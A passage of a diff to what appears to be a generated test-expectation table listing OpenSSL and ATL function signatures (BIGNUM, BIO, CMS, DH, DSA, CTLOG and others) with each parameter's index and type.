*,const char *) | | SRP_Calc_B_ex | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_B_ex | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_B_ex | 3 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_B_ex | 4 | OSSL_LIB_CTX * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_B_ex | 5 | const char * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_server_key | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_server_key | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_server_key | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_server_key | 3 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_server_key | 4 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_client_key | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_client_key | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_client_key | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_client_key | 3 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_client_key | 4 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_client_key | 5 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 3 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 4 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 5 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 6 | OSSL_LIB_CTX * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 7 | const char * | +| (const BIGNUM *,const BIGNUM *,int *) | | ossl_ffc_validate_private_key | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,int *) | | ossl_ffc_validate_private_key | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,int *) | | ossl_ffc_validate_private_key | 2 | int * | +| (const BIGNUM *,int) | | BN_get_flags | 0 | const BIGNUM * | +| (const BIGNUM *,int) | | BN_get_flags | 1 | int | +| (const BIGNUM *,int) | | BN_is_bit_set | 0 | const BIGNUM * | +| (const BIGNUM *,int) | | BN_is_bit_set | 1 | int | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *) | | BN_is_prime | 0 | const BIGNUM * | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *) | | BN_is_prime | 1 | int | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *) | | BN_is_prime | 2 | ..(*)(..) | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *) | | BN_is_prime | 3 | BN_CTX * | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *) | | BN_is_prime | 4 | void * | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 0 | const BIGNUM * | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 1 | int | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 2 | ..(*)(..) | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 3 | BN_CTX * | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 4 | void * | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 5 | int | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | BN_is_prime_ex | 0 | const BIGNUM * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | BN_is_prime_ex | 1 | int | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | BN_is_prime_ex | 2 | BN_CTX * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | BN_is_prime_ex | 3 | BN_GENCB * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | ossl_bn_check_generated_prime | 0 | const BIGNUM * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | ossl_bn_check_generated_prime | 1 | int | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | ossl_bn_check_generated_prime | 2 | BN_CTX * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | ossl_bn_check_generated_prime | 3 | BN_GENCB * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *) | | ossl_bn_miller_rabin_is_prime | 0 | const BIGNUM * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *) | | ossl_bn_miller_rabin_is_prime | 1 | int | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *) | | ossl_bn_miller_rabin_is_prime | 2 | BN_CTX * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *) | | ossl_bn_miller_rabin_is_prime | 3 | BN_GENCB * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *) | | ossl_bn_miller_rabin_is_prime | 4 | int | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *) | | ossl_bn_miller_rabin_is_prime | 5 | int * | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | BN_is_prime_fasttest_ex | 0 | const BIGNUM * | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | BN_is_prime_fasttest_ex | 1 | int | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | BN_is_prime_fasttest_ex | 2 | BN_CTX * | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | BN_is_prime_fasttest_ex | 3 | int | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | BN_is_prime_fasttest_ex | 4 | BN_GENCB * | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | ossl_bn_check_prime | 0 | const BIGNUM * | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | ossl_bn_check_prime | 1 | int | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | ossl_bn_check_prime | 2 | BN_CTX * | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | ossl_bn_check_prime | 3 | int | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | ossl_bn_check_prime | 4 | BN_GENCB * | +| (const BIGNUM *,int,size_t *) | | bn_compute_wNAF | 0 | const BIGNUM * | +| (const BIGNUM *,int,size_t *) | | bn_compute_wNAF | 1 | int | +| (const BIGNUM *,int,size_t *) | | bn_compute_wNAF | 2 | size_t * | +| (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 0 | const BIGNUM * | +| (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 1 | int[] | +| (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 2 | int | +| (const BIGNUM *,unsigned char *) | | BN_bn2bin | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *) | | BN_bn2bin | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *) | | BN_bn2mpi | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *) | | BN_bn2mpi | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 2 | int | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 2 | int | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 2 | int | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 2 | int | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 2 | int | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 2 | int | +| (const BIGNUM *,unsigned long) | | BN_mod_word | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | unsigned long | +| (const BIO *) | | BIO_get_callback | 0 | const BIO * | +| (const BIO *) | | BIO_get_callback_arg | 0 | const BIO * | +| (const BIO *) | | BIO_get_callback_ex | 0 | const BIO * | +| (const BIO *) | | BIO_method_name | 0 | const BIO * | +| (const BIO *) | | BIO_method_type | 0 | const BIO * | +| (const BIO *,int) | | BIO_get_ex_data | 0 | const BIO * | +| (const BIO *,int) | | BIO_get_ex_data | 1 | int | +| (const BIO *,int) | | BIO_test_flags | 0 | const BIO * | +| (const BIO *,int) | | BIO_test_flags | 1 | int | +| (const BIO_ADDR *) | | BIO_ADDR_dup | 0 | const BIO_ADDR * | +| (const BIO_ADDR *) | | BIO_ADDR_family | 0 | const BIO_ADDR * | +| (const BIO_ADDR *) | | BIO_ADDR_path_string | 0 | const BIO_ADDR * | +| (const BIO_ADDR *) | | BIO_ADDR_rawport | 0 | const BIO_ADDR * | +| (const BIO_ADDR *) | | BIO_ADDR_sockaddr | 0 | const BIO_ADDR * | +| (const BIO_ADDR *,void *,size_t *) | | BIO_ADDR_rawaddress | 0 | const BIO_ADDR * | +| (const BIO_ADDR *,void *,size_t *) | | BIO_ADDR_rawaddress | 1 | void * | +| (const BIO_ADDR *,void *,size_t *) | | BIO_ADDR_rawaddress | 2 | size_t * | +| (const BIO_ADDRINFO *) | | BIO_ADDRINFO_address | 0 | const BIO_ADDRINFO * | +| (const BIO_ADDRINFO *) | | BIO_ADDRINFO_family | 0 | const BIO_ADDRINFO * | +| (const BIO_ADDRINFO *) | | BIO_ADDRINFO_next | 0 | const BIO_ADDRINFO * | +| (const BIO_ADDRINFO *) | | BIO_ADDRINFO_protocol | 0 | const BIO_ADDRINFO * | +| (const BIO_ADDRINFO *) | | BIO_ADDRINFO_sockaddr | 0 | const BIO_ADDRINFO * | +| (const BIO_ADDRINFO *) | | BIO_ADDRINFO_sockaddr_size | 0 | const BIO_ADDRINFO * | +| (const BIO_ADDRINFO *) | | BIO_ADDRINFO_socktype | 0 | const BIO_ADDRINFO * | +| (const BIO_METHOD *) | | BIO_meth_get_callback_ctrl | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_create | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_ctrl | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_destroy | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_gets | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_puts | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_read | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_read_ex | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_recvmmsg | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_sendmmsg | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_write | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_write_ex | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_new | 0 | const BIO_METHOD * | +| (const BN_BLINDING *) | | BN_BLINDING_get_flags | 0 | const BN_BLINDING * | | (const CComBSTR &) | CComBSTR | Append | 0 | const CComBSTR & | | (const CComBSTR &) | CComBSTR | CComBSTR | 0 | const CComBSTR & | | (const CComSafeArray &) | CComSafeArray | CComSafeArray | 0 | const CComSafeArray & | | (const CComSafeArray &) | CComSafeArray | operator= | 0 | const CComSafeArray & | +| (const CERTIFICATEPOLICIES *,unsigned char **) | | i2d_CERTIFICATEPOLICIES | 0 | const CERTIFICATEPOLICIES * | +| (const CERTIFICATEPOLICIES *,unsigned char **) | | i2d_CERTIFICATEPOLICIES | 1 | unsigned char ** | +| (const CMS_CTX *) | | ossl_cms_ctx_get0_libctx | 0 | const CMS_CTX * | +| (const CMS_CTX *) | | ossl_cms_ctx_get0_propq | 0 | const CMS_CTX * | +| (const CMS_ContentInfo *) | | CMS_get0_type | 0 | const CMS_ContentInfo * | +| (const CMS_ContentInfo *) | | ossl_cms_get0_cmsctx | 0 | const CMS_ContentInfo * | +| (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 0 | const CMS_ContentInfo * | +| (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 1 | BIO * | +| (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 2 | int | +| (const CMS_ContentInfo *,unsigned char **) | | i2d_CMS_ContentInfo | 0 | const CMS_ContentInfo * | +| (const CMS_ContentInfo *,unsigned char **) | | i2d_CMS_ContentInfo | 1 | unsigned char ** | +| (const CMS_EnvelopedData *) | | CMS_EnvelopedData_dup | 0 | const CMS_EnvelopedData * | +| (const CMS_ReceiptRequest *,unsigned char **) | | i2d_CMS_ReceiptRequest | 0 | const CMS_ReceiptRequest * | +| (const CMS_ReceiptRequest *,unsigned char **) | | i2d_CMS_ReceiptRequest | 1 | unsigned char ** | +| (const CMS_SignerInfo *) | | CMS_signed_get_attr_count | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *) | | CMS_unsigned_get_attr_count | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 2 | int | +| (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 2 | int | +| (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | int | +| (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | int | +| (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 1 | int | +| (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 2 | int | +| (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 1 | int | +| (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 2 | int | +| (const COMP_CTX *) | | COMP_CTX_get_method | 0 | const COMP_CTX * | +| (const COMP_CTX *) | | COMP_CTX_get_type | 0 | const COMP_CTX * | +| (const COMP_METHOD *) | | COMP_get_name | 0 | const COMP_METHOD * | +| (const COMP_METHOD *) | | COMP_get_type | 0 | const COMP_METHOD * | +| (const COMP_METHOD *) | | SSL_COMP_get_name | 0 | const COMP_METHOD * | +| (const CONF *) | | NCONF_get0_libctx | 0 | const CONF * | +| (const CONF *,const char *,OSSL_LIB_CTX *) | | SSL_TEST_CTX_create | 0 | const CONF * | +| (const CONF *,const char *,OSSL_LIB_CTX *) | | SSL_TEST_CTX_create | 1 | const char * | +| (const CONF *,const char *,OSSL_LIB_CTX *) | | SSL_TEST_CTX_create | 2 | OSSL_LIB_CTX * | +| (const CONF_IMODULE *) | | CONF_imodule_get_flags | 0 | const CONF_IMODULE * | +| (const CONF_IMODULE *) | | CONF_imodule_get_module | 0 | const CONF_IMODULE * | +| (const CONF_IMODULE *) | | CONF_imodule_get_name | 0 | const CONF_IMODULE * | +| (const CONF_IMODULE *) | | CONF_imodule_get_usr_data | 0 | const CONF_IMODULE * | +| (const CONF_IMODULE *) | | CONF_imodule_get_value | 0 | const CONF_IMODULE * | +| (const CRL_DIST_POINTS *,unsigned char **) | | i2d_CRL_DIST_POINTS | 0 | const CRL_DIST_POINTS * | +| (const CRL_DIST_POINTS *,unsigned char **) | | i2d_CRL_DIST_POINTS | 1 | unsigned char ** | +| (const CRYPTO_EX_DATA *) | | ossl_crypto_ex_data_get_ossl_lib_ctx | 0 | const CRYPTO_EX_DATA * | +| (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 0 | const CRYPTO_EX_DATA * | +| (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | int | | (const CSimpleStringT &) | | operator+= | 0 | const CSimpleStringT & | | (const CSimpleStringT &) | CSimpleStringT | CSimpleStringT | 0 | const CSimpleStringT & | | (const CSimpleStringT &) | CSimpleStringT | operator+= | 0 | const CSimpleStringT & | @@ -753,17 +22564,2400 @@ getSignatureParameterName | (const CStringT &,const CStringT &) | | operator+ | 1 | const CStringT & | | (const CStringT &,wchar_t) | | operator+ | 0 | const CStringT & | | (const CStringT &,wchar_t) | | operator+ | 1 | wchar_t | +| (const CTLOG *) | | CTLOG_get0_name | 0 | const CTLOG * | +| (const CTLOG *) | | CTLOG_get0_public_key | 0 | const CTLOG * | +| (const CTLOG *,const uint8_t **,size_t *) | | CTLOG_get0_log_id | 0 | const CTLOG * | +| (const CTLOG *,const uint8_t **,size_t *) | | CTLOG_get0_log_id | 1 | const uint8_t ** | +| (const CTLOG *,const uint8_t **,size_t *) | | CTLOG_get0_log_id | 2 | size_t * | +| (const CTLOG_STORE *,const uint8_t *,size_t) | | CTLOG_STORE_get0_log_by_id | 0 | const CTLOG_STORE * | +| (const CTLOG_STORE *,const uint8_t *,size_t) | | CTLOG_STORE_get0_log_by_id | 1 | const uint8_t * | +| (const CTLOG_STORE *,const uint8_t *,size_t) | | CTLOG_STORE_get0_log_by_id | 2 | size_t | +| (const CT_POLICY_EVAL_CTX *) | | CT_POLICY_EVAL_CTX_get0_cert | 0 | const CT_POLICY_EVAL_CTX * | +| (const CT_POLICY_EVAL_CTX *) | | CT_POLICY_EVAL_CTX_get0_issuer | 0 | const CT_POLICY_EVAL_CTX * | +| (const CT_POLICY_EVAL_CTX *) | | CT_POLICY_EVAL_CTX_get0_log_store | 0 | const CT_POLICY_EVAL_CTX * | +| (const CT_POLICY_EVAL_CTX *) | | CT_POLICY_EVAL_CTX_get_time | 0 | const CT_POLICY_EVAL_CTX * | +| (const DH *) | | DH_get0_g | 0 | const DH * | +| (const DH *) | | DH_get0_p | 0 | const DH * | +| (const DH *) | | DH_get0_priv_key | 0 | const DH * | +| (const DH *) | | DH_get0_pub_key | 0 | const DH * | +| (const DH *) | | DH_get0_q | 0 | const DH * | +| (const DH *) | | DH_get_length | 0 | const DH * | +| (const DH *) | | DH_get_nid | 0 | const DH * | +| (const DH *) | | DH_security_bits | 0 | const DH * | +| (const DH *) | | DHparams_dup | 0 | const DH * | +| (const DH *) | | ossl_dh_get0_nid | 0 | const DH * | +| (const DH *) | | ossl_dh_get_method | 0 | const DH * | +| (const DH *,const BIGNUM *) | | DH_check_pub_key_ex | 0 | const DH * | +| (const DH *,const BIGNUM *) | | DH_check_pub_key_ex | 1 | const BIGNUM * | +| (const DH *,const BIGNUM **,const BIGNUM **) | | DH_get0_key | 0 | const DH * | +| (const DH *,const BIGNUM **,const BIGNUM **) | | DH_get0_key | 1 | const BIGNUM ** | +| (const DH *,const BIGNUM **,const BIGNUM **) | | DH_get0_key | 2 | const BIGNUM ** | +| (const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DH_get0_pqg | 0 | const DH * | +| (const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DH_get0_pqg | 1 | const BIGNUM ** | +| (const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DH_get0_pqg | 2 | const BIGNUM ** | +| (const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DH_get0_pqg | 3 | const BIGNUM ** | +| (const DH *,const BIGNUM *,int *) | | DH_check_pub_key | 0 | const DH * | +| (const DH *,const BIGNUM *,int *) | | DH_check_pub_key | 1 | const BIGNUM * | +| (const DH *,const BIGNUM *,int *) | | DH_check_pub_key | 2 | int * | +| (const DH *,const BIGNUM *,int *) | | ossl_dh_check_priv_key | 0 | const DH * | +| (const DH *,const BIGNUM *,int *) | | ossl_dh_check_priv_key | 1 | const BIGNUM * | +| (const DH *,const BIGNUM *,int *) | | ossl_dh_check_priv_key | 2 | int * | +| (const DH *,const BIGNUM *,int *) | | ossl_dh_check_pub_key_partial | 0 | const DH * | +| (const DH *,const BIGNUM *,int *) | | ossl_dh_check_pub_key_partial | 1 | const BIGNUM * | +| (const DH *,const BIGNUM *,int *) | | ossl_dh_check_pub_key_partial | 2 | int * | +| (const DH *,int *) | | DH_check | 0 | const DH * | +| (const DH *,int *) | | DH_check | 1 | int * | +| (const DH *,int *) | | DH_check_params | 0 | const DH * | +| (const DH *,int *) | | DH_check_params | 1 | int * | +| (const DH *,int) | | DH_get_ex_data | 0 | const DH * | +| (const DH *,int) | | DH_get_ex_data | 1 | int | +| (const DH *,int) | | DH_test_flags | 0 | const DH * | +| (const DH *,int) | | DH_test_flags | 1 | int | +| (const DH *,int) | | ossl_dh_dup | 0 | const DH * | +| (const DH *,int) | | ossl_dh_dup | 1 | int | +| (const DH *,unsigned char **) | | i2d_DHparams | 0 | const DH * | +| (const DH *,unsigned char **) | | i2d_DHparams | 1 | unsigned char ** | +| (const DH *,unsigned char **) | | i2d_DHxparams | 0 | const DH * | +| (const DH *,unsigned char **) | | i2d_DHxparams | 1 | unsigned char ** | +| (const DH *,unsigned char **) | | ossl_i2d_DH_PUBKEY | 0 | const DH * | +| (const DH *,unsigned char **) | | ossl_i2d_DH_PUBKEY | 1 | unsigned char ** | +| (const DH *,unsigned char **) | | ossl_i2d_DHx_PUBKEY | 0 | const DH * | +| (const DH *,unsigned char **) | | ossl_i2d_DHx_PUBKEY | 1 | unsigned char ** | +| (const DH *,unsigned char **,size_t,int) | | ossl_dh_key2buf | 0 | const DH * | +| (const DH *,unsigned char **,size_t,int) | | ossl_dh_key2buf | 1 | unsigned char ** | +| (const DH *,unsigned char **,size_t,int) | | ossl_dh_key2buf | 2 | size_t | +| (const DH *,unsigned char **,size_t,int) | | ossl_dh_key2buf | 3 | int | +| (const DH_METHOD *) | | DH_meth_dup | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get0_app_data | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get0_name | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get_bn_mod_exp | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get_compute_key | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get_finish | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get_flags | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get_generate_key | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get_generate_params | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get_init | 0 | const DH_METHOD * | +| (const DH_NAMED_GROUP *) | | ossl_ffc_named_group_get_keylength | 0 | const DH_NAMED_GROUP * | +| (const DH_NAMED_GROUP *) | | ossl_ffc_named_group_get_name | 0 | const DH_NAMED_GROUP * | +| (const DH_NAMED_GROUP *) | | ossl_ffc_named_group_get_q | 0 | const DH_NAMED_GROUP * | +| (const DH_NAMED_GROUP *) | | ossl_ffc_named_group_get_uid | 0 | const DH_NAMED_GROUP * | +| (const DIST_POINT *,unsigned char **) | | i2d_DIST_POINT | 0 | const DIST_POINT * | +| (const DIST_POINT *,unsigned char **) | | i2d_DIST_POINT | 1 | unsigned char ** | +| (const DIST_POINT_NAME *) | | DIST_POINT_NAME_dup | 0 | const DIST_POINT_NAME * | +| (const DIST_POINT_NAME *,const GENERAL_NAMES *,const ASN1_TIME *) | | OSSL_CMP_CRLSTATUS_new1 | 0 | const DIST_POINT_NAME * | +| (const DIST_POINT_NAME *,const GENERAL_NAMES *,const ASN1_TIME *) | | OSSL_CMP_CRLSTATUS_new1 | 1 | const GENERAL_NAMES * | +| (const DIST_POINT_NAME *,const GENERAL_NAMES *,const ASN1_TIME *) | | OSSL_CMP_CRLSTATUS_new1 | 2 | const ASN1_TIME * | +| (const DIST_POINT_NAME *,unsigned char **) | | i2d_DIST_POINT_NAME | 0 | const DIST_POINT_NAME * | +| (const DIST_POINT_NAME *,unsigned char **) | | i2d_DIST_POINT_NAME | 1 | unsigned char ** | +| (const DSA *) | | DSA_dup_DH | 0 | const DSA * | +| (const DSA *) | | DSA_get0_g | 0 | const DSA * | +| (const DSA *) | | DSA_get0_p | 0 | const DSA * | +| (const DSA *) | | DSA_get0_priv_key | 0 | const DSA * | +| (const DSA *) | | DSA_get0_pub_key | 0 | const DSA * | +| (const DSA *) | | DSA_get0_q | 0 | const DSA * | +| (const DSA *) | | DSAparams_dup | 0 | const DSA * | +| (const DSA *,const BIGNUM **,const BIGNUM **) | | DSA_get0_key | 0 | const DSA * | +| (const DSA *,const BIGNUM **,const BIGNUM **) | | DSA_get0_key | 1 | const BIGNUM ** | +| (const DSA *,const BIGNUM **,const BIGNUM **) | | DSA_get0_key | 2 | const BIGNUM ** | +| (const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DSA_get0_pqg | 0 | const DSA * | +| (const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DSA_get0_pqg | 1 | const BIGNUM ** | +| (const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DSA_get0_pqg | 2 | const BIGNUM ** | +| (const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DSA_get0_pqg | 3 | const BIGNUM ** | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_priv_key | 0 | const DSA * | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_priv_key | 1 | const BIGNUM * | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_priv_key | 2 | int * | +| (const DSA *,const 